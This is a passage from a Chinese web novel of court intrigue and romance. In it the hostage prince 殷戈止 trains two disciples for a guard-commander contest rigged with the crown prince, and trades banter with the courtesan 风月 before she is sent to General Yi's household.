“你不是说,知道些东西,要是落在殷戈止的手里,会成为呈堂证供?”冷严皱眉。
“我……”脑子里一团浆糊,李勋“我”了半天也没说出什么有用的东西来。冷严不耐烦了,就问了一句:“你跟殷戈止说过什么吗?”
“没有啊!”李勋想摇头,可头刚一转,脖子上就是一凉。
“没有就好。”松了口气,冷严笑了笑,挥手让旁边的人收了长剑:“那你**吧,别留着当祸患了。”
眼睛陡然睁得很大,李勋怔愣地看着前头的人,他们冷漠地转身,走得头也不回。
为什么啊?他想不明白,为什么要杀了他啊?
不敢呼吸,他一时半会儿也没死,就这么怔愣地看着前方。
有廉价的绣鞋踩在了巷子的石板路上,李勋抬了抬眼睛,就看见“小琴”冲他笑道:“下地狱去吧,十八层,少一层都不行!”
像是诅咒一般,他觉得浑身疼痛极了,听着这话,终于是扭曲着身子倒在地上,挣扎一番之后,咽了气。
鲜血遍地,红了断弦的眼,她站在巷子口没走,看着那肮脏的尸体,身子突然觉得很轻。抬头看了看澄清的天空,她咧嘴,跪下来朝着西面拜了几拜。
“琴儿,大仇已报,好生轮回。来生,别找我这种没用的人当姐姐了。”
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第73章 瞎说话的徐家少爷
几场大雨之后,不阴城迎来了骄阳当空的天气。叶御卿坐在刑场监斩台上,看着赵麟人头落地,愉悦地勾了勾唇角。
“殿下,护城军肩负卫城安民之重责,如今却官职空缺,无人主事,还望殿下早些任命新的都尉和统领。”有老臣语重心长地道:“罪臣赵麟所为,致使民怨沸腾。重新任人,定要服众才行。”
叶御卿微笑,看着他问:“大人觉得,是任用老臣好,还是给年轻人些机会更好?”
“这……微臣觉得,任人唯贤,任人唯能,年纪倒不是首要。”
“有大人这句话,本宫就知道该怎么做了。”叶御卿颔首:“让朝中三品以上的将军,每人举荐一人,择日到校场比试,最后选两个拔尖的出来吧。”
这法子没少用,也公平,对各家都好交代,老大臣没什么意见,拱手就应了,然后传旨下去。
于是这天,风月正使劲儿往殷戈止嘴里塞点心呢,就听见观止来禀告:“主子,安徐两家少爷过来了。”
皱眉推开风月的手,殷戈止道:“请进来。”
“是。”
风月正坐在他大腿上呢,跟逗孩子似的喂他他看起来很嫌弃但是明明吃得很快的杏仁酥,一听这话,当即就规规矩矩地站在了旁边,方才脸上谄媚的表情一扫而空,端庄得像是刚受完教回来的世家小姐。
瞥她一眼,殷戈止摇头,然后看向门口。
“徒儿给师父请安!”两家少爷进来,齐声行礼。
“这几日我忙碌,没能顾上你们。”殷戈止问:“可有懈怠?”
“没有!”徐怀祖答得飞快,笑眯眯地道:“不仅没有,反而更加勤奋呢,昨儿跟世冲对练,赢了他好几次。”
殷戈止挑眉,看向神色不太好的安世冲:“怎么?世冲倒是松懈了?”
“不敢。”颇为懊恼地叹了口气,安世冲道:“最近一段时间,父亲总带着我四处串门,与人结交,忙碌之中,练得是要少些。”
殷戈止自然是知道这回事的,毕竟这还是他给安国侯的建议,没想到安国侯的动作倒是挺快,瞧把他这小徒弟折腾得,都没时间练功了。
“马上会有选拔护城军统领和都尉的比试。”殷戈止道:“你们既然来了,那就做好在这里住上几天的准备。”
两人一愣,徐怀祖很是惊讶地道:“徒儿们就是为这事来的,不过……师父怎么知道得这么快?”
还以为师父总是自己在院子里呆着,所以消息闭塞,故而他们来报信,顺便求师父多指点一二,谁知道……
“我怎么知道的你们不用在意。”起身拂了拂袍子,殷戈止抬眼,看着他们道:“你们需要在意的是,怎么样才能把那两个位置拿下来。”
啥?两家小少爷傻眼了,相互对视,都在对方的眼里看见个愣头青。
“师父。”安世冲皱眉:“我与怀祖资历尚浅,年纪又轻,故而这次比试,只是想去凑凑热闹,与人交手试试。那统领和都尉之职……”
“资历尚浅,那就多经历点东西。”没理会他那小心翼翼的表情,殷戈止直接道:“这次的比试就是一个很好的经历,你们要参加,就给我赢,我的徒儿,要是输给外人,我会觉得很丢脸。”
说罢,转身就往外走。
风月眨眼,拎着裙子跟在他后头走,路过两个少年身边的时候,挤眉弄眼地道:“你们师父,十六岁便击败魏国名将,成了三师统领了。年龄阅历,实在不算什么弱处,反而是优点。”
就因为年轻,所以经历得起失败,也敢拼敢闯。就是因为阅历少,所以才得去拼一把丰富自己的阅历啊。
安世冲恍然,看一眼旁边的徐怀祖,后者眼里尚有犹疑,但还是跟着师父一起往外走。
庭院的空地上,风月躲在旁边伸长脑袋围观,就见殷戈止脱了外袍,穿一身玄衣,折了她辛苦修剪的树枝当兵器,先教安世冲招式连贯,后纠徐怀祖用力不当。那身姿,瞧着还真有一代宗师的样子。
她本来觉得,本事特别高强的**都有些怪癖,当得了英雄,当不了师父。但殷戈止倒是不同,教起人来一点也不藏私,而且十分有耐性,都没皱过眉,比对着她的时候温柔多了。
怎么会有这样的人呢?风月想不明白,趁着他过来坐着休息的时候,便问了一句:“殿下,您不怕教会徒弟,饿死师父吗?”
轻飘飘地睨她一眼,殷戈止道:“我倾囊相授,为的是让他们能有我七八分的成就。”
风月眨眼,起初还没反应过来这句话是什么意思,等反应过来之后,嘴角就抽了抽。
这厮要不要脸啊?意思是他全教出去,人家也只能达到他七八分的境界?天赋异禀了不起是不是!
作为一个后天努力型选手,风月愤愤不平地道:“勤能补拙,您怎么知道人家不会通过刻苦,追上您那两三分?”
似嘲似弄地扯了扯嘴角,殷戈止凑近她,低声道:“刻苦可以弥补一些东西,就像爬山,爬的慢的人可以通过时间追上前头会爬山的人。”
“但是,到悬崖峭壁的绝境,不会爬的人再刻苦也没有用,只能看着会爬的人登上顶尖的位置,望而兴叹。”
他说话的语气很平静,但可能是表情太欠揍了,风月气得磨牙,忍不住就跳下石凳,狠狠地踩在他脚背上!
眯了眯眼,殷戈止侧头看她,眼神冷漠。
风月笑得花枝乱颤的,收回自己的蹄子,很是真诚地道:“没注意看下头,踩着您了,疼吗?”
“晚膳少吃点。”殷戈止淡淡地道:“胖了不少。”
风月:“……”
徐怀祖练啊练的眼神就往殷戈止那头飘了飘,脚下一个瞬步就挪到安世冲旁边,小声道:“诶诶,快看那边。”
专心致志的安世冲被打扰,抬头皱眉看过去,就见自家师父靠在走廊旁边的长石凳上坐着,旁边一身红衣的风月姑娘蹦蹦跳跳的,不知是被气着了还是怎么的。这两人一个静如山,一个动如水,但凑在一起,怎么就这么合适呢?
“你觉不觉得,师父挺喜欢风月姑娘的?”徐怀祖挤眉弄眼地道:“咱们是不是快有师娘了?”
收回目光,安世冲摇了摇头:“不会的。”
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“为什么啊?”
“因为身份不合适。”
想起自家师父的身份,又想了想风月姑娘的身份,徐怀祖叹了口气,头一次吐出了一句诗:“恨不相逢未嫁时啊!”
嘴角抽了抽,安世冲挥剑就冲他打,咬牙道:“不知道诗的意思就别乱念,丢你们徐家的脸!”
横刀接着这一招,徐怀祖撇嘴:“觉得合适就念了嘛,管那么多做什么?”
哭笑不得,安世冲干脆抽剑跟他打个痛快。
于是那头为人师表的殷大殿下在调戏完姑娘回过头来的时候,两个徒儿已经打得如火如荼了。
“哇塞,怎么这么激烈?”风月兴奋地看过去:“您觉得谁会赢啊?”
“要打个赌吗?”殷戈止道:“输了的人,明天一个人去买菜。”
“好啊好啊!”单纯的风月点头应了:“那我押徐少爷!”
“好。”气定神闲地点头,殷戈止抬眼看向那头,轻飘飘地道:“世冲,攻他下盘。”
安世冲反应极快,转身一个扫堂腿!徐怀祖堪堪躲过,身形晃了。
“剑谱第三式。”
安世冲立马挥剑左右横切,逼得徐怀祖**几步,一刀横在他面前。
“鹞子翻身,到他身后。”
“剑谱第九式,指他命门。”
风月瞠目结舌地看着,不是看这两人过招,而是看面前这丝毫不要脸的人:“殿下?”
殷戈止侧头,理直气壮地看着她:“师父教徒弟,有哪儿不对吗?”
“……是没哪里不对。”深吸一口气,风月苍凉地抬头看了看天空,幽幽地道:“您高兴就好。”
那头安世冲点到即止,赢了一局,眼里亮晶晶的。徐怀祖则是喘着气,委屈万分地道:“师父偏心!”
“她偏心你,我自然要偏心世冲。”殷戈止一脸正气地道:“这才叫公平。”
徐怀祖:“……”
风月无辜地傻笑,乖乖地捏着帕子当个花瓶,再也不打算乱说话了。
练完功之后,两人吩咐随从回去拿些换洗衣物,风月准备好晚膳,笑眯眯地招呼他们来吃。
瞧着这热闹多了的庭院,又看看那灯光温暖的屋子,以及满桌色香味俱全的菜肴,徐怀祖忍不住就感叹了一句:“还是有个女儿家在的好啊!”
殷戈止面无表情地道:“哪里好了?”
“先前过来,感觉师父挺孤独的。”徐怀祖口无遮拦地道:“现在瞧着,觉得像是多了个师娘,师父都温和了不少。”
正在端菜的风月手一僵,殷戈止也皱了皱眉,嗤了一声捻了那两个字来念:“师娘?”
安世冲狠狠踩了他一脚,徐怀祖吃痛,委屈地道:“实话实说啊,风月姑娘是很有师娘的感觉,哪怕以后你们不在一起了,看见她,我也能想起师父来。”
屋子里的气氛瞬间凝固。
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第74章 都是套路
这世上有很多不会说话的人,但是能顶着殷戈止这恐怖的眼神还乱说话的,就徐怀祖一个。
风月都觉得背后发凉啊,很想说少爷您自个儿找死能不能别带上她?她还要好好过日子的啊,不想这么快死!
结果徐家二少爷后知后觉地道:“我是不是说错话了?师父不喜欢风月姑娘?”
这压根不是喜欢不喜欢的问题啊!风月呵呵笑着,扯了扯他的袖子:“少爷,厨房里还有两盘菜,您不如陪奴家去端?”
“好啊。”瞧着气氛是不太对劲,徐怀祖溜得飞快,拉起风月就蹿出去,走得远了,才皱眉问:“我说错什么了?”
风月叹息:“你们师父一向看不起妓子,奴家这样的身份,您怎么敢说成您二位的师娘?”
看不起吗?徐怀祖皱眉:“看不起他还偏留你在这院子里做什么?”
风月耸肩:“大概因为奴家做菜比观止好吃。”
“可是……”徐怀祖皱眉:“我就觉得师父挺在意你的,你俩在一起也过得不错,开个玩笑而已么?”
“您还是歇会儿。”风月摇头:“别再开玩笑了。”
点头应了,徐怀祖叹了口气:“我还以为师父是个十全十美的人,想不到也有瑕疵。”
“嗯?”进了厨房把菜放在他手里,风月问:“什么瑕疵?”
“就是对感情之事。”徐怀祖道:“喜欢就喜欢,不喜欢就不喜欢,扯这些身份啊什么的,多折腾人啊。”
微微一顿,风月失笑。
感情之事分明就是这世上最难应付的,比骑马打仗难多了。要是一句简单的喜欢不喜欢就能有个结果,那这天下的痴男怨女,可都解脱了。
不过徐家这少爷还小,想来也没经历过什么儿女情长,说出这样的话来,也不意外。
“菜凉了,走吧。”
“嗯。”
屋子里气氛缓和了点,几个人尚算平静地用了膳,之后殷戈止就扔了两个徒弟去继续练功,然后拎着风月到了房间里。
“你……”他抬眼,还没开口,对面的人就蹦得老高,摆手道:“您不必教训奴家,奴家可没徐少爷说的那些想法,奴家明白自己的身份,知道自己是来做什么的,绝对不会对您有什么非分之想!”
一口气说完,都不换气的,殷戈止皱眉,冷笑道:“你倒是有自知之明。”
“那是那是,不然奴家怎么能在您身边伺候呢?”腆着脸笑,风月道:“比起易小姐,奴家实在差远了!”
轻轻白她一眼,殷戈止道:“换个人比吧,她不如你。”
啥?风月眨眼,头一次听殷戈止说这么耿直的话,倒是有点不适应:“为什么啊?您不是挺喜欢她的?”
“喜欢归喜欢。”沉吟片刻,殷戈止道:“但与她相处太累。”
微微一怔,风月耸肩:“也是,毕竟不是谁都像奴家这样能不要脸地哄着您的。”
“你说什么?”
“嘿嘿,没什么。”朝他做了个鬼脸,风月转身就跑:“奴家去看看灵殊。”
话落音,人已经跑得没影,他想再说点什么都不行。
殷戈止皱眉想,这人上辈子一定是只青蛙,喜欢鼓嘴就算了,跳得还快!
不过,跟她在一起,竟是格外地让他省心和舒坦。
勾了勾唇角,殷戈止转身,还是打算去尽一下师父的职责,尤其多关爱一下徐怀祖。
三天之后,选拔大会在校场轰轰烈烈地展开了。殷戈止带着两家少爷,并着丫鬟风月和随从观止,安静地站在人群之中。
“来了好多人啊。”风月小声嘀咕:“都快赶上每年各家送闺女进宫的阵仗了。”
观止低声道:“赵麟一案在民间颇有影响,本来这种比试是不会让百姓围观的,但太子殿下特赦,邀了文武百官,也放了百姓在栅栏外头看,以求公正。”
这么一来是挺公正的,但……看了一眼候场台上站着的众多老将,风月摇头,这些人可是输不起的啊,更何况在这么多人面前输。要赢比赛不难,可赢了就要得罪一大片人,划算吗?
临行前殷戈止就拉着两个少年嘀咕了好一阵子,具体嘀咕了什么风月不知道,但看徐怀祖一脸兴奋,安世冲满眼担忧的样子,那多半就说的不是什么好事。
正想着呢,就听得那台上的叶御卿突然道:“殷殿下也来了?听闻带了爱徒,可是打算与在场各位一较高下?”
换做平时,这种问话,殷戈止会高冷地给个眼神,然后沉默。但意外的是,今儿他回话了,声音还不小:“自然,既然来了,总要带点东西走。”
“哦?”太子殿下兴致盎然地看着他们:“殿下的意思是,您这入门不到一个月的两个徒儿,能从一众老将手上讨得好?”
殷戈止颔首。
“哈哈哈!”叶御卿大笑:“本宫就喜欢与您这样自信满满的人打赌,殷殿下,当着这么多人的面儿,咱们开个赌局如何?”
“请殿下赐教。”
“好说,很简单,你的两个徒儿,要是有一人能进前两名,本宫愿意奉上两百斤天山寒铁。”叶御卿道:“那寒铁一共就这么点儿,今年刚送进宫,还没铸造成器,很是适合两位少爷。但,若是没进,殿下不妨当着众人的面,对本宫行个大礼,如何?”
这话语之间**味儿极重,听得众人议论纷纷。
要不是知道这俩是什么德性,风月也会被这剑拔**张的阵仗给吓唬住。可知道这两位的心思,她就只能翻个白眼了。
要殷戈止这样的人对吴国太子行大礼,那是不可能的,不可能的后果是什么呢——
“好。”殷戈止应了,转头,目光凌厉地看着自家徒儿们,冷声道:“你们只管尽全力,不用顾忌对手身份和其他,若是有丝毫放水之处,为师便将你们逐出师门!”
“师父!”两家少爷慌了,殷戈止却冷漠地一挥袖子,将他们留在了候场台上。
“这殷殿下可真狠啊,刚收的徒弟,又不是什么没身份的人,竟然这么严厉!”
“这怪得了人家吗?太子殿下打的这赌也太狠了,分明是要人家难堪。就算是质子,可魏国还不是吴国属国,人家的大皇子朝咱们太子行大礼,那不是
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折魏国的颜面吗?”
“就看那两家的小少爷争不争气了。”
听着四周的议论,风月看着前头走过来的人,忍不住摇头。
太阴险了!这样一来,安徐两家的少爷不管遇上什么对手,都可以名正言顺地将什么尊老啊之类的东西抛在一边,对面的对手甚至能理解他们,输了不会太过怨恨。
敢情嘀咕那么久,就是对戏去了啊?叶大太子也是厉害,想法都能跟殷戈止对上,配合得还天衣无缝。
果然当皇子的人都不是什么好货色!
比试开始了,殷戈止拉着她在旁边看,一张脸波澜不惊,眼神也没个起伏。
风月忍不住道:“您好歹紧张一下啊,万一两位少爷输了呢?”
“拿什么输?”殷戈止抬了抬下巴,指着旁边发签定上台顺序的人,唇齿不动,声音极轻地道:“太子的人。”
愣了一下,又看了看台上站着的七八个人,风月咬牙:“这也太黑了!”
“为了速战速决而已。”殷戈止道:“而且,恕我直言,今日来的其他人,都不是有本事的,只是想争个位置享福罢了。这样的人,压根不是他们的对手。”
他对自己的徒弟有信心,并且,安世冲和徐怀祖的弱处只有他能看穿,这些老家伙还嫩了点。
徐怀祖第六个上台,将胡子都白了的老将胖揍一顿,一边揍一边跟人家道歉:“实在冒犯,师命难违啊!”
老将一边吐血,一边摇头:“也委实怪不得你。”
“呯!”老将落地,带着成全的微笑,鼻青脸肿地被人抬走了。
徐怀祖笑了笑,突然觉得更喜欢自家师父了,实在很对他胃口啊!
上台来的人有力气大的,有出手快的,但是徐怀祖觉得一点也不难对付,哪怕用很简单的招式,也能将他们掀下台去。
微微皱眉,他突然觉得,吴国的将领们,除了易大将军和自家老爹,其余的人,能真正上战场的,恐怕不多。是安逸太久了吧?
“请。”最后一个上台的是安世冲,徐怀祖回神,咧嘴一笑:“我不跟你打,我第二。”
脸色一沉,安世冲道:“为何?”
“你昨晚不是落枕了吗?”徐怀祖道:“胜之不武。”
“少废话!”低斥一声,安世冲余光扫了一眼远处观看的人:“这场比试要的就是公正,你闹什么?”
说着,拔剑就朝他命门刺。
堪堪躲开,徐怀祖叹息:“你这人就是太守规矩了,没趣得很。”
说罢,还是提刀迎上他,一招一式,倒比方才认真了不少。
叶御卿长长地叹了口气,对旁边的老臣道:“竟然当真是英雄出少年,本宫是不是损失很惨?”
旁边的老臣拱手笑道:“当真能得人才,殿下的两百斤寒铁便不算什么损失。”
“哦?”叶御卿摇着扇子问:“宁大人也觉得这两人是良才?”
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第75章 关她啥事啊!
宁国忠是皇帝身边的老臣了,说话一向有分量,但是这太子殿下的脾性他一贯摸不透,所以在他面前,遣词用句都分外谨慎。看了看他这态度,宁国忠还是决定说点好话,于是拱手道:“虽然这两位年纪轻轻,但能战胜诸多老将,且无人说不服之语,老臣觉得,甚是难得。今日比试,众人都看在眼里,选这两位为官,想必也无人不服。”
正说着呢,台上就一阵叫好声,叶御卿抬头看去,就见方才还没什么悬念的战局,现在打得是高潮迭起。使剑的蓝衣少年潇洒灵活,舞刀的灰衣公子力气颇大,双方各有来往,过了五十几招,看得众人连连鼓掌,却是难分胜负。
“真不愧是殷殿下的徒儿啊!”捻着胡须感概了一句,宁国忠道:“要是殷殿下当真能放下两国之间的成见,替我吴国培养人才,那该有多好。”
眼神深深地看着台上,叶御卿笑着摇头:“能有两个已经是难得,你还贪心。”
宁国忠捻着胡须笑,:“那这两人,殿下可想好了如何安置?”
假意思忖片刻,叶御卿勉为其难地道:“这两人打完,再论论治军之法,若是当真文武双全,那便将护城军里空着的位置给他们。”
宁国忠颔首:“殿下能任人唯贤,也是我吴国社稷之福啊。”
听着夸奖,叶御卿很受用,转头看了远处的殷戈止一眼,正想来个智者之间了然于心的默契对视,谁知道一眼看过去差点没气死。
殷戈止抱着胳膊靠在旁边的木桩上,斜睨着面前的人。风月蹦蹦跳跳的,讨好地双手合十,不知道在说什么。两个人分明是跟安世冲和徐怀祖关系很亲近的,却没一个关注台上的情况。
什么人呐这是!敢情只有他一个在这里机关算尽地要把官帽扣在那两人头上?
叶大太子不高兴了,扇子收拢,磨着牙吩咐旁边的人:“去听听他们说什么呢!”
“是!”
风月腰扭得都成蛇精了,面前的人还是一脸冷漠,她很气,鼓着嘴道:“不就是一碗面吗?您不能要求低点儿?”
“我的要求已经很低了。”殷戈止淡淡地道:“用调好的汤汁煮面,难道不是正常的?”
“哪里正常了!”风月垮了脸:“我们家煮面都很简单的,白水煮了,捞出来再放调料和汤汁。”
“那样不入味。”
“可简单啊!”
深深地看她一眼,殷戈止道:“你想偷懒就直说。”
“那奴家就直说了!”风月握拳:“晚上约好了去接何愁,奴家煮面想偷懒!”
殷戈止:“……”
长长地叹了口气,他想,自个儿最近是不是太温柔了,以至于面前这人胆子越来越大。
“好——”四周猛地响起一阵暴喝,吓得两人都抬头往台子上看了看。
徐怀祖将刀抵在地上撑着身子,然后笑嘻嘻地冲面前躺在地上的人道:“服不服啊?”
安世冲白眼直翻:“不服。”
“不服也是我赢了!”朝他做了个欠扁的鬼脸,徐怀祖转头就朝太子殿下坐着的方向拱手。
安世冲黑着脸站起来,也拱了拱手。
风月松了口气:“打完了啊,看大家的反应,好像打得不错诶。”
殷戈止点头,一脸“我的徒弟当然很不错”的表情,看了叶御卿的方向一眼。
“嗯?”
“怎么了?”瞧着他眼神有点古怪,风月也顺着他的目光看过去。
结果就看见叶御卿难得地阴沉着脸,看起来很是不高兴。
一般的不高兴,这位主子都能不动声色,现在这是被谁给惹了,不高兴得这么明显啊?风月眨眼,看了看叶御卿看着的方向,低声对旁边的人道:“太子殿下看的好像是咱们这边。”
“嗯。”
“咱们做错了什么吗?”
“没有。”殷戈止淡淡地道:“太子殿下应该只是饿了。”
瞧着时辰,正好是下午容易饿的时候,风月了然地点头,同情地看了叶御卿一眼。
比试结束,两家少爷被宁国忠留了下来,去校场旁边的阁楼里谈话了。殷戈止拉着风月正打算走,冷不防的就被护卫给拦住了。
护卫拱手道:“殷殿下,太子有请。”
挑了挑眉,殷戈止看了风月一眼,果断搂着她一起往太子起驾的方向走。
“公子。”风月干笑,有点不好的预感:“您们大人物谈事情,奴家这样的小人物,是不是该先回去了?”
“主子没走,当丫鬟的就可以走了?”殷戈止冷笑:“想得美。”
“可是……”眨眨眼,风月道:“奴家压根不知道发生了什么,这样奴家会很慌张。”
慢慢走着,殷戈止轻声问:“知道了就不慌张了?”
“对啊对啊!”风月点头!
“那好。”搂着她的手紧了些,将她抱上来,以便自己凑到她耳边,低声道:“太子大概是看咱们在他勾心斗角的时候讨论晚膳的问题,觉得我们很闲,所以打算给点刺激。并且,就最近城中发生的事情来看,这刺激不会小。”
倒吸一口凉气,风月立马挣扎起来!
“那奴家就不用去了吧?啊?跟奴家没什么关系吧?”
给她一个轻蔑的眼神,殷戈止勾唇:“跟你关系可大了,走吧,知道发生了什么,可就别慌了,不然我会认为你刚刚是在骗我。”
风月:“……”
虽然她大概能猜到是什么事情,但看着这人的模样,她当真是有点慌。
任何盘算和计划在遇上殷大皇子的时候,都会发生无数意料不到的情况,以至于压根没人能在他头上打算盘。她那算盘打得颤颤巍巍的,也不知道能不能响。
为什么世上会有殷戈止这种阴险毒辣臭不要脸的人呢?害她连活着都觉得心惊肉跳。
叶御卿在沙场外头的农家院子里等着,见他们进来了,很是温柔地招手:“两位这边请。”
风月笑着行礼,刚想说自己就站在旁边吧?结果便听得叶御卿道:“风月坐啊,不是想吃面吗?这儿刚好有。”
啥?眨眼看了看桌上的三碗面,风月好奇地道:“
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您怎么知道的?”
他怎么知道的?叶御卿磨牙,他让人偷听的啊!还以为这两人在说什么了不起的机密大事,结果就是为了晚上吃什么样的面!
那一瞬间太子殿下觉得自己很蠢,虽然没哪里不对,但就是感觉受到了侮辱。
“殿下神通广大,有千里眼顺风耳都不是什么怪事。”施施然坐下,殷戈止伸手将筷子给她,镇定地道:“有什么话,不如边吃边说吧?”
叶御卿抿唇,吐了口浊气之后,重新挂上了温柔如水的笑意,摇着扇子看着面前这俩说吃就吃的人,道:“赵麟被斩首那天,驿站有很多信使离开了不阴城,殿下怎么看?”
优雅地吃着面,殷戈止头也不抬地道:“护城军是不阴城的盔甲,统领更换这种大事,发生在易大将军不在的节骨眼上,自然是有人要传信的。”
“可是,离开的信使,比本宫想象中的多了太多。”眼神有点凝重,叶御卿道:“区区武将,再怎么战功赫赫,也不该有这么多人为之耳目。”
“是蜀锦,自然有人喜欢往上头添花。”殷戈止道:“易大将军的荣耀是他自己打出来的,也是你们皇室奖赏歌颂出来的,养虎为患的道理,历代君王都该明白。”
“哦?”想了想,叶御卿笑道:“可是虎也有镇国之功,我吴国可不能重蹈贵国覆辙。杀一个关苍海,皇位是稳了,可敌国外患,却是再也解决不了了。”
拿着筷子的手一僵,又若无其事地继续夹面条,风月垂着眼,就听得旁边坐着的人道:“关将军之事具体是何原因,在下还不甚明白,也无意评说。只不过比起关将军当年归还兵符,遵听圣旨的做法,贵国易将军,倒是更有主见。”
叶御卿沉默。
这两人说是统一立场了,但在风月看来,压根还是同船不同航,太子要的是在易国如的脖子上栓一根锁链,方便君权掌控,为国所用。但殷戈止,表面上也是这样的立场,可心里压根就是想一刀捅死易国如的。
只有易国如没了,吴国对魏国的威胁才能降到最低。
早晚他们之间还得有个了断,不过眼下……喝了一口汤,风月笑眯眯地看着他们。
她跟着他们做同样的事,就足够了。将来的鹬蚌相争,也伤不着她。
“将军府里应该有门生的名册。”良久之后,叶御卿开口道:“殿下可有把握拿出来?”
“没有。”想也不想,殷戈止直接拒绝:“这种事情,在下不方便。”
把他当暗卫用呢?将军府那种虎狼之地,还进去偷东西?
意料之中的回答,叶御卿笑了一声就转头看着风月道:“珠儿说想跟你聊聊天,她最近心情不太好,风月姑娘可否替本宫去安慰安慰?”
一口汤差点呛着,风月委屈地问:“奴家可以说不去吗?”
“不可以哦。”叶大太子咧出了洁白的牙齿,笑眯眯地道:“明日,本宫便让人去接你。”
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第76章 荀嬷嬷
掐不住殷戈止,还掐不住你吗?
以上是风月在叶御卿眼里看见的意思。
呵呵笑了两声,她眼泪汪汪地扭头,看向殷戈止:“您也去吗?”
放下筷子,殷戈止深深地看了叶御卿一眼,双方眼神在空中碰撞,厮杀,一阵电闪雷鸣之后,叶御卿展扇而笑:“风月姑娘都去,殷殿下自然要去,不然珠儿闹起性子来,也没人能拦得住。”
咽了口唾沫,风月觉得,自己简直就是一只小虾米,被太子殿下挂在鱼钩上,然后“哐哧”一声被殷戈止咬进了嘴里。
咬着钩的殷戈止不情不愿地道:“既然殿下都这么说了,那就去吧。”
钓着鱼的叶御卿笑得很欢,摇着扇子道:“如此,那你们就先回去准备准备吧。”
殷戈止起身,点了头就往外走。
风月还在思考自己是不是要被吞到大鱼肚子里了,脚步没跟上,于是毫不意外地,就听见太子殿下在她耳侧道:“姑娘厉害,殷殿下似乎很是在意姑娘。”
耳后起了层颤栗,风月连忙摇头:“殿下,奴家没那么有本事的,殷殿下最在意的还是易小姐。”
“哦?”看了前头的人一眼,叶御卿眼神晦暗:“从何得知?”
“他自己说的。”风月真诚地道:“奴家两个耳朵都听见了,他说的他喜欢易小姐,但是喜欢归喜欢,却不知道怎么讨她欢心,所以相处不是很愉快。”
看她这模样不像撒谎,叶御卿点了点头,示意她跟上前头的人。
风月立马拎着裙子风风火火地冲了出去。
将军府的东西,要偷可没那么简单。太子给任务给得轻松,他们做起来却是难如登天,鬼知道殷戈止是不是一时想不开了,竟然还答应。
回到使臣府,关上房门,风月一本正经地看着面前的人道:“您有什么计划吗?”
“没有。”殷戈止道:“临时受命,毫无准备。”
“您可真是遇上麻烦了。”眯着眼睛笑了笑,风月在他面前站着,左右走了三个来回,得意地指着自己的鼻尖道:“不过还好,您还有奴家这样的宝贝。”
宝贝?上下打量她几眼,殷大皇子眼里的嫌弃多得都要溢出来了。
挺直了腰杆,风月哼声道:“奴家知道您厉害,不用人帮忙,也看不起奴家这样的弱女子。但是殿下,要是奴家知道将军府重要的东西的藏匿之所呢?”
眼眸微微一亮,殷戈止伸手将她拉到面前来:“你怎么什么都知道?”
“这是奴家的本事。”撇撇嘴,风月就势往他膝盖上一坐,力灌丹田,狠狠地压下去!
然而这点力道根本不痛不痒,殷戈止理都没理,捏着她肩膀就问:“在哪儿?”
“等去了再告诉您。”妩媚一笑,风月挣开他,跟只蝴蝶似的扑腾两下就没了影儿。
殷戈止皱眉。
为什么他都不知道的事情,她却总是知道?难不成易大将军也曾去过梦回楼?
想想也不可能,她在背后,定然是使了什么厉害的手段。这样的女人……
这样的女人,怀抱却出奇的温暖,是不是很奇怪?
摇摇头,他回神,喊了观止来收拾点衣物,再准备些特殊的东西一并带去将军府。
傍晚,易将军府。
易掌珠自然是不可能想跟风月聊什么天的,奈何太子殿下坐在她面前,笑眯眯地道:“你向来大度善良,风月也已经出了那凄苦之地。到底是要伺候你殷哥哥的,你便留她在府上,教教规矩如何?”
“珠儿教她规矩,殷哥哥不会心疼?”易掌珠道:“易府上的嬷嬷,可都是出了名的严厉。”
叶御卿一顿,而后道:“随意教教就可以了,不必那般认真。再说,你殷哥哥最近遭遇不少次暗算,本宫的意思,让他在将军府上躲躲,也能睡几日安生觉。”
想起殷戈止,易掌珠撇嘴,犹豫半晌,点了点头。
殷戈止这个人,从被父亲带回吴国开始就只同她说话的,下人丫鬟都知道他喜欢她,可是……也不知道是怎么的,最近总觉得,他好像没有那般喜欢自己了。
“主子。”见太子走了,点钗连忙出来道:“您不是看不顺眼那风月很久了吗?这可是个好机会啊!”
“嗯?”茫然地看她一眼,易掌珠问:“什么好机会?”
“教训她的好机会啊!”点钗道:“既然是太子要您教她规矩,您不如把她交给荀嬷嬷啊!”
荀嬷嬷?一听这三个字,易掌珠就打了个寒颤,惊恐地看她一眼。
将军府这种地方,就算她是易国如的掌上明珠,小时候学规矩也是一点都不敢懈怠的,当时还有别家的小姐跟她一起,在这个从宫里出来的嬷嬷手底下学规矩,学了半年不到,个个出来都是端庄万分,但……再也没人想看一眼荀嬷嬷了!其手段狠戾,心肠歹毒,实在是恐怖至极!
把风月交给她,好像的确是个不错的主意,也不能算她故意刁难啊,毕竟自己都是从这位嬷嬷手底下学出来的。
敲定了这件事,易掌珠飞快地就通知了当年一起学规矩的三个小姐妹来府上看热闹。
于是第二天,风月跟在殷戈止后头踏进将军府的时候,就看见四朵水嫩嫩的花排成一排,站在门口朝殷戈止笑得灿烂极了。
看也没看她们,殷戈止径直走到易掌珠面前,低头对她道:“打扰了。”
其余三个姑娘一阵低呼,捧脸的捧脸,揉帕子的揉帕子,就易掌珠还算镇定,笑道:“殷哥哥这边请。”
殷戈止抬脚就走,风月背着包袱想跟上,却被旁边的人抢了先。三个**往她面前一横,很是端庄地将她挤到了后头去,顺带还给了她六道不是很友善的目光。
风月咋舌,低头看了看自己的衣裳,今儿穿得挺良家妇女的啊,哪儿又得罪人了不成?
殷戈止显然是不会回头管她的,风月就老老实实地跟着走。前头三位姑娘也没有特意为难她,只嘀嘀咕咕地说着话,时不时看一眼前头高大的男人,双颊飞红。时不时又扭头看一眼后头的她,意味深长
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抓抓下巴,风月算是看懂了,这仨应该是易掌珠的朋友,并且对殷戈止很是崇拜,看着他的眼睛都冒星星的。
“殷殿下这张脸当真是好看啊……”鹅黄色裙子的姑娘感叹道:“我以为徐家公子已经够俊朗了,谁知道天外有天!”
“你可当心点吧!”旁边粉色长裙的姑娘挤了她一下,笑道:“这话传到徐公子耳朵里,你这未过门的媳妇也不用过门了,直接扣个七出之条!”
绿色裙子的姑娘摇头:“若词,你别挤兑怀梦,你说说,你家给你订的夫婿,可有这殷殿下半分好看?”
宋若词不说话了,看着前头殷戈止的背影,长长地叹了口气。
的确是殷殿下最好看,可是,除了易掌珠,谁都那么好的命能陪在他身边啊?
想到这里,宋若词就回头看了风月一眼,皱了皱眉,小声嘀咕:“也不知道徐家从哪里弄来的这么个丫头,瞧着就不正经。”
风月微笑,开口道:“青楼弄来的。”
